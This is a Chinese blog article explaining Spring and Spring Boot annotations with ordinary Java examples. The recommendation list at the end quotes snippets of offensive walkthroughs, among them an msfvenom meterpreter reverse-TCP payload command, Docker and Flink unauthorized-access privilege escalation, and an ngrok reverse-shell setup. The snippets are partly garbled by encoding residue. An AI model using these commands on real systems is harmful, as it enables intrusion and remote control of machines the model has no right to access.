Spring注解(包含SpringBoot)

2023-05-16

目录

      • 1. @SpringBootApplication(作用在启动类上)
      • 2. @EnableAutoConfiguration(作用在启动类上)
      • 3. @ComponentScan(作用在启动类上)
      • 4. @Configuration(作用在启动类上、配置类上)
      • 5. @Controller(作用在控制器类上)
      • 6. @RestController(作用在控制器类上)
      • 7. @Service((作用在服务(业务)类上))
      • 8. @Repository(作用在类上)
      • 9. @Component(作用在类上)
      • 10. @Bean(作用在方法上)
      • 11. @AutoWired(作用在属性上)
      • 12. @Resource(name=”name”,type=”type”,作用在属性上)
      • 13. @Qualifier(作用在属性上)
      • 14. @RequestMapping(作用在方法上)
      • 15. @ResponseBody(作用在方法上)
      • 16. @Import
      • 17. @ImportResource
      • 18. @PropertySource(作用在类上)
      • 19. @Value(作用在属性上)
      • 20. @Inject
      • 21. @PathVariable(作用在属性上)
      • 22.@Mapper
      • 23. @MapperScan

1. @SpringBootApplication(作用在启动类上)

声明让spring boot自动给程序进行必要的配置,这个配置等同于:@Configuration + @EnableAutoConfiguration + @ComponentScan 三个配置。
例如:
@SpringBootApplication
/*@Configuration
@EnableAutoConfiguration
@ComponentScan(basePackages = "com.jamy.song.demo")*/
public class SpringThreadApplication {
    public static void main(String[] args) {
        SpringApplication.run(SpringThreadApplication.class, args);
    }
}

2. @EnableAutoConfiguration(作用在启动类上)

SpringBoot自动配置(auto-configuration):尝试根据你添加的jar依赖自动配置Spring应用。
例如,如果classpath下存在HSQLDB,并且你没有手动配置任何数据库连接beans,那么我们将自动配置一个内存型(in-memory)数据库。
也可以将@EnableAutoConfiguration或者@SpringBootApplication注解添加到一个@Configuration类上来选择自动配置。
如果发现应用了你不想要的特定自动配置类,你可以使用@EnableAutoConfiguration注解的排除属性来禁用它们

3. @ComponentScan(作用在启动类上)

表示将该类自动发现扫描组件,可以指定扫描范围。如果扫描到有@Component@Controller@Service等这些注解的类,并注册为Bean,可以自动收集所有的Spring组件,包括@Configuration类。当使用@ComponentScan注解搜索beans,结合@Autowired注解导入。如果没有配置的话,Spring Boot会扫描启动类所在包下以及子包下的使用了@Service,@Repository等注解的类.
例如:
//@SpringBootApplication
@Configuration
@EnableAutoConfiguration
@ComponentScan(basePackages = "com.jamy.song.demo")
public class SpringThreadApplication {

    public static void main(String[] args) {
        SpringApplication.run(SpringThreadApplication.class, args);
    }
}

4. @Configuration(作用在启动类上、配置类上)

相当于传统的xml配置文件,如果有些第三方库需要用到xml文件,建议仍然通过@Configuration类作为项目的配置主类——可以使用@ImportResource注解加载xml配置文件。
例如:
@Configuration
/*@MapperScan(basePackages = "com.jamy.song.demo.dao",
        sqlSessionFactoryRef = "sqlSessionFactory"
)*/
@PropertySource(value="classpath:jdbc.properties")
public class MyDataSource {
    private static ResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();

    @Value(value="${db.username}")
    private String username;
    @Value(value="${db.password}")
    private String password;
    @Value(value="${db.url}")
    private String url;
    @Value(value="${db.driverClassName}")
    private String driverClassName;
    @Value(value="${db.jdbcType}")
    private String jdbcType;

    @Bean
    public DruidDataSource dataSource() {
        DruidDataSource dataSource = new DruidDataSource();
        dataSource.setUsername(username);
        dataSource.setPassword(password);
        dataSource.setUrl(url);
        dataSource.setDriverClassName(driverClassName);
        dataSource.setDbType(jdbcType);
        return dataSource;
    }

    @Bean
    public FactoryBean<SqlSessionFactory> sqlSessionFactory() throws IOException {
        SqlSessionFactoryBean factoryBean = new SqlSessionFactoryBean();
        factoryBean.setDataSource(this.dataSource());
        factoryBean.setMapperLocations(resolver.getResources("classpath:mapper/*.xml"));
        return factoryBean;
    }

    public DataSourceTransactionManager transactionManager(){
        DataSourceTransactionManager txMgr = new DataSourceTransactionManager();
        txMgr.setDataSource(this.dataSource());
        return txMgr;
    }
}

5. @Controller(作用在控制器类上)

用于定义控制器类,在spring项目中由控制器负责将用户发来的URL请求转发到对应的服务接口(service层),一般这个注解在类中,通常方法需要配合注解@RequestMapping
例如:
@Controller
public class DemoController {
    @Autowired
    private JobLauncher jobLauncher;

    @Autowired
    private Job userJob;

    @RequestMapping("/queryUser")
    @ResponseBody
    public String queryUser() throws JobParametersInvalidException, JobExecutionAlreadyRunningException, JobRestartException, JobInstanceAlreadyCompleteException {

        JobParameters jobParameters = new JobParametersBuilder().addDate("date", new Date()).toJobParameters();

        jobLauncher.run(userJob, jobParameters);

        return "success";
    }
}

6. @RestController(作用在控制器类上)

用于标注控制层组件(如struts中的action),是@ResponseBody + @Controller的合集。

7. @Service((作用在服务(业务)类上))

一般用于修饰service层的组件

8. @Repository(作用在类上)

使用@Repository注解可以确保DAO或者repositories提供异常转译,这个注解修饰的DAO或者repositories类会被ComponetScan发现并配置,同时也不需要为它们提供XML配置项

9. @Component(作用在类上)

泛指组件,当组件不好归类的时候,我们可以使用这个注解进行标注
例如:
@Component
@StepScope
public class MyListener implements StepExecutionListener {

    Map<String, JobParameter> parameters;


    @Override
    public void beforeStep(StepExecution stepExecution) {
        parameters = stepExecution.getJobParameters().getParameters();
    }

    @Override
    public ExitStatus afterStep(StepExecution stepExecution) {
        return null;
    }

    public Map<String, JobParameter> getParameters(){
        return parameters;
    }
}

10. @Bean(作用在方法上)

@Bean标注方法等价于XML中配置的bean,放在方法的上面,而不是类,意思是产生一个bean,并交给spring管理。
例如:
@Configuration
@EnableBatchProcessing
public class UserBatchDemo {

    private Logger logger = LoggerFactory.getLogger(UserBatchDemo.class);

    @Autowired
    private JobBuilderFactory jobBuilderFactory;

    @Autowired
    private StepBuilderFactory stepBuilderFactory;

    @Autowired
    private UserDao dao;
    @Autowired
    private MyListener listener;

    @Bean
    public Job userJob(){
        return jobBuilderFactory.get("userJob")
                .incrementer(new RunIdIncrementer()) //设置job的id保证每一次执行都是唯一的(可重复执行)
                .flow(userStep())
                .end()
                .build();
    }

    @Bean
    public Step userStep() {
        return stepBuilderFactory.get("userStep")
                .listener(listener)
                .<User, User>chunk(1)
                .reader(userRead())
                .writer(new UserWriter())
                .build();
    }

    @Bean
    @StepScope
    public UserItemReader userRead() {
        System.out.println(listener.getParameters());
        List<User> list = dao.queryUser();
        return new UserItemReader(list);
    }
}

11. @AutoWired(作用在属性上)

自动导入依赖的bean。byType方式。把配置好的Bean拿来用,完成属性、方法的组装,它可以对类成员变量、方法及构造函数进行标注,完成自动装配的工作。当加上(required=false)时,就算找不到bean也不报错。和@Resource用法差不多,只不过它是按类型注入的
例如:
@Service
public class UserService {

    @Autowired
    private Schedule schedule;
    @Autowired
    private UserDao userDao;

    ExecutorService executorService = Executors.newFixedThreadPool(10);

    public void addUser(JSONObject jsonObject){

        schedule.setProperties(userDao, jsonObject);
        executorService.submit(schedule);

    }
}

12. @Resource(name=”name”,type=”type”,作用在属性上)

没有括号内内容的话,默认按byName注入。与@Autowired作用差不多。

13. @Qualifier(作用在属性上)

当有多个同一类型的Bean时,可以用@Qualifier(“name”)来指定。与@Autowired配合使用。@Qualifier限定描述符除了能根据名字进行注入,但能进行更细粒度的控制如何选择候选者
例如:
@Service
public class UserService {

    @Autowired
    @Qualifier(value="schedule")
    private Schedule schedule;
    @Autowired
    private UserDao userDao;

    ExecutorService executorService = Executors.newFixedThreadPool(10);

    public void addUser(JSONObject jsonObject){

        schedule.setProperties(userDao, jsonObject);
        executorService.submit(schedule);

    }
}

14. @RequestMapping(作用在方法上)

提供路由信息,负责URL到Controller中的具体函数的映射
例如:
@Controller
public class UserController {

    @Autowired
    private UserService userService;

    @RequestMapping("addUser")
    @ResponseBody
    public String addUser() {
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("name", "zhangsan");
        jsonObject.put("age", 21);
        jsonObject.put("address", "上海市浦东新区松涛路80号");
        userService.addUser(jsonObject);
        return "hello world";
    }

}

15. @ResponseBody(作用在方法上)

表示该方法的返回结果直接写入HTTP response body中,一般在异步获取数据时使用,用于构建RESTful的api。在使用@RequestMapping后,返回值通常解析为跳转路径,加上@Responsebody后返回结果不会被解析为跳转路径,而是直接写入HTTP response body中。比如异步获取json数据,加上@Responsebody后,会直接返回json数据。该注解一般会配合@RequestMapping一起使用
例如:
@Controller
public class UserController {

    @Autowired
    private UserService userService;

    @RequestMapping("addUser")
    @ResponseBody
    public String addUser() {
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("name", "zhangsan");
        jsonObject.put("age", 21);
        jsonObject.put("address", "上海市浦东新区松涛路80号");
        userService.addUser(jsonObject);
        return "hello world";
    }

}

16. @Import

用来导入其他配置类。

17. @ImportResource

用来加载xml配置文件

18. @PropertySource(作用在类上)

用来加载application.properties外的普通配置文件,例如jdbc.properties
例如:
@Configuration
@PropertySource(value="classpath:jdbc.properties")
public class MyDataSource {
    private static ResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();

    @Value(value="${db.username}")
    private String username;
    @Value(value="${db.password}")
    private String password;
    @Value(value="${db.url}")
    private String url;
    @Value(value="${db.driverClassName}")
    private String driverClassName;
    @Value(value="${db.jdbcType}")
    private String jdbcType;

    @Bean
    public DruidDataSource dataSource() {
        DruidDataSource dataSource = new DruidDataSource();
        dataSource.setUsername(username);
        dataSource.setPassword(password);
        dataSource.setUrl(url);
        dataSource.setDriverClassName(driverClassName);
        dataSource.setDbType(jdbcType);
        return dataSource;
    }

    @Bean
    public FactoryBean<SqlSessionFactory> sqlSessionFactory() throws IOException {
        SqlSessionFactoryBean factoryBean = new SqlSessionFactoryBean();
        factoryBean.setDataSource(this.dataSource());
        factoryBean.setMapperLocations(resolver.getResources("classpath:mapper/*.xml"));
        return factoryBean;
    }

    public DataSourceTransactionManager transactionManager(){
        DataSourceTransactionManager txMgr = new DataSourceTransactionManager();
        txMgr.setDataSource(this.dataSource());
        return txMgr;
    }

}

19. @Value(作用在属性上)

注入Spring boot application.properties配置的属性的值
例如:
@Configuration
/*@MapperScan(basePackages = "com.jamy.song.demo.dao",
        sqlSessionFactoryRef = "sqlSessionFactory"
)*/
@PropertySource(value="classpath:jdbc.properties")
public class MyDataSource {
    private static ResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();

    @Value(value="${db.username}")
    private String username;
    @Value(value="${db.password}")
    private String password;
    @Value(value="${db.url}")
    private String url;
    @Value(value="${db.driverClassName}")
    private String driverClassName;
    @Value(value="${db.jdbcType}")
    private String jdbcType;

    @Bean
    public DruidDataSource dataSource() {
        DruidDataSource dataSource = new DruidDataSource();
        dataSource.setUsername(username);
        dataSource.setPassword(password);
        dataSource.setUrl(url);
        dataSource.setDriverClassName(driverClassName);
        dataSource.setDbType(jdbcType);
        return dataSource;
    }
}

20. @Inject

等价于默认的@Autowired,只是没有required属性

21. @PathVariable(作用在属性上)

获取参数

22.@Mapper

用来注解数据持久化接口(dao接口)
例如:
@Mapper
public interface UserDao {

    List<User> queryUser();
}

23. @MapperScan

用来扫描数据持久化接口包(dao包)
例如:
@SpringBootApplication
@EnableScheduling
@MapperScan(basePackages = "com.jamy.song.demo.dao",
        sqlSessionFactoryRef = "sqlSessionFactory"
)
public class ApplicationDemo {

    public static void main(String[] args) {
        SpringApplication.run(ApplicationDemo.class, args);
    }
}
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Spring注解(包含SpringBoot) 的相关文章

随机推荐

  • Linux_gzip/gunzip 命令 解压.gz 文件

    gzip命令用来压缩文件 gzip是个使用广泛的压缩程序 xff0c 文件经它压缩过后 xff0c 其名称后面会多处 gz 扩展名 gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩的命令 xff0c 既方便又好用 gzip不
  • JAVA idea代码提示接口方法【xxxxxx】必须使用javadoc注释

    接口方法 xxxxxx 必须使用javadoc注释 Inspection info 所有的抽象方法 xff08 包括接口中的方法 xff09 必须要用javadoc注释 除了返回值 参数 异常说明外 xff0c 还必须指出该方法做什么事情
  • Linux_Shell_Shell 中的正则表达式 与 常用正则表达式

    在Linux Shell 编程中 xff0c 我们常需要用到 正则表达式 进行 文件的匹配 在本篇文章中 xff0c 我们对Linux shell 中的正则表达式 做一个总结 xff0c 方便之后的shell 编写 参考文章 xff1a s
  • 用友远程命令执行漏洞并提权

    用友的命令执行漏洞 xff0c print hello 发现可以执行命令 xff0c whami 和id 都查一波权限 xff0c 发现是root xff0c 呵呵 xff0c 权限这么大 xff0c 很好搞啊 ps ef grep ssh
  • 会捷通云视讯平台存在未授权任意文件读取漏洞(实战)

    1 fofa 搜索 body 61 him api rest v1 0 node role 2 构造post请求 POST fileDownload action span class token operator 61 span down
  • 实战Docker未授权访问提权

    1 fofa关键字 port 61 2375 amp amp body 61 page not found 2 docker H tcp ip port 可查看到当前所有的实例 3 docker H tcp ip port pull alp
  • Apache Flink 未授权远程代码执行提权(实战)

    1 fofa 搜索 app 61 Apache Flink 可以看到有上千个 2 生成木马 下面展示一些 内联代码片 msfvenom span class token operator span p java span class tok
  • 【Hackthebox Stocker】打靶记录

    Hackthebox Stocker nmap 扫描一把 得到tcp端口22 80 nmap sC sV 10 10 11 196 Starting Nmap 7 93 https nmap org at 2023 05 10 05 51
  • kali下msf提权

    生成木马 Msfvenom p windows meterpreter reverse tcp lhost 61 192 168 184 132 lport 61 4444 f exe o root Desktop 1 exe 配置监听程序
  • 15个免费好用的抓包工具

    Hping Hping是最受欢迎和免费的抓包工具之一 它允许你修改和发送自定义的ICMP xff0c UDP xff0c TCP和原始IP数据包 此工具由网络管理员用于防火墙和网络的安全审计和测试 HPing可用于各种平台 xff0c 包括
  • Kali linux 静态ip和动态ip设置

    ifconfig 查看当前网卡 service networking stop 停止当前网卡网络服务 vi etc network interfaces 对网卡配置进行修改 Esc键 xff1a wq 进行保存 重启网络服务 service
  • 内网kali 通过ngrok穿透反弹shell

    1 在ngrok注册账号 xff0c 并且开通免费隧道 xff08 网址 xff1a https www ngrok cc xff09 这里我kali的内网ip地址是10 10 10 131 2 下载Ngrok客户端 xff08 地址htt
  • java中【HashMap】初始化时,尽量指定初始值大小

    Inspection info 集合初始化时 xff0c 指定集合初始值大小 说明 xff1a HashMap使用如下构造方法进行初始化 xff0c 如果暂时无法确定集合大小 xff0c 那么指定默认值 xff08 16 xff09 即可
  • java实现排列组合运算

    排列组合运算 xff0c 大家都不陌生吧 xff1a 如果有3个集合来作排列组合运算 xff0c 每个集合的元素个数分别为n1 n2 n3 xff0c 则结果集的元素个数为n1 n2 n3 我的实现思路是 xff1a 1 xff09 遍历每
  • 图像处理--图像滤波与滤波器

    https blog csdn net yangleo1987 article details 53158262 图像滤波的作用 xff1a 在尽可能保留图像细节特征的条件下 xff0c 对目标图像的噪声进行抑制 常见的图像滤波器 xff1
  • 【教程】Windows获取开发人员许可证(Windows 应用商店应用)

    安装了Visual Stdio 2012和2013版本以后 xff0c 会需要获取Windows开发人员许可证 过程如下 xff1a 用管理员权限 打开Windows PowerShell 运行以下命令 xff1a Show Windows
  • QT中的MessageBox设置自动关闭退出

    一 概述 由于弹出的MessageBox需要手动操作 xff0c 点击相关操作程序才会进一步执行 xff0c 所以有时程序使用了MessageBox会阻塞相关功能代码执行 例如 xff0c 在串口编程中 xff0c 接收到数据或某项配置成功
  • SpringAop

    目录 1 创建maven项目 pom xml添加依赖2 启动类3 代理类4 服务类5 请求类6 Spring4的Aop7 Spring5的Aop 1 创建maven项目 pom xml添加依赖 span class token generi
  • 最常用的linux命令大全

    个人感觉这篇最常用的linux命令大全写的比较好 xff0c 所以做了转载 xff0c 原文连接 一 基础知识 1 1 liunx系统的文件结构 dev 设备文件 etc 大多数配置文件 home 普通用户的家目录 lib span cla
  • Spring注解(包含SpringBoot)

    目录 1 64 SpringBootApplication 作用在启动类上 2 64 EnableAutoConfiguration 作用在启动类上 3 64 ComponentScan 作用在启动类上 4 64 Configuration